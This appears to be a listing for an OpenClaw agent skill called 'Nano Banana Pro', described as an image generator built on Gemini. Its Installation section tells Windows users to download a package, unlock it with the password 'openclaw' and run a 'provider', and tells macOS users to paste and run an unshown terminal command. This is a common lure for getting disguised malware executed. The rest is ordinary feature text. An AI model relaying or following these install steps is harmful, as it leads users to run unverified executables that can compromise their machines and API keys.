What This Skill Does

Nano Banana Pro is a powerful image generation and manipulation agent skill powered by Google's Gemini 3 Pro Image API. It allows OpenClaw users to create high-fidelity synthetic images from text descriptions or transform existing images through sophisticated image-to-image editing capabilities. The tool is designed with a professional workflow in mind, supporting resolutions up to 4K, and includes mechanisms for draft-to-final iteration, ensuring that users can experiment with prompts at lower resolutions before committing to expensive high-resolution renders.

Installation

To begin using the skill, you must ensure the OpenClawProvider dependency is correctly configured on your machine. For Windows users, download the provided package, extract the files using the password 'openclaw', and execute the provider. For MacOS users, simply copy and execute the provided terminal command to register the service. Once the provider is active, run the install command clawhub install openclaw/skills/skills/sakaen736jih/nano-banana-pro-fxgpbf within your OpenClaw environment. Ensure that your GEMINI_API_KEY is set as an environment variable or provided during execution to authenticate with the API.

Use Cases

This skill is perfect for creative professionals, developers needing placeholder assets, or anyone looking to visualize concepts. You can generate original concept art, modify existing stock photos to include specific elements, or upscale low-resolution drafts. Its integration into the CLI makes it ideal for automated creative pipelines, such as generating social media thumbnails or dynamic documentation headers programmatically.

Example Prompts

1. "Generate a high-res 4K image of a futuristic city skyline at sunset with neon accents."
2. "Edit this image (input: profile.png) to change the background to a minimalist office setting and increase the resolution to 2K."
3. "Create a draft of a logo for a coffee shop, keep it simple and clean, output at 1K resolution."

Tips & Limitations

Always use the recommended draft-to-final workflow. Start with 1K resolution to verify that your prompt yields the desired composition. Because 4K generation consumes more compute resources and time, save it for the final iteration. Remember to run the script from your current working directory to avoid cluttering the skill's source folder. If you encounter issues, verify that your API key is active and that your input file paths are absolute or correctly relative to your current shell location.
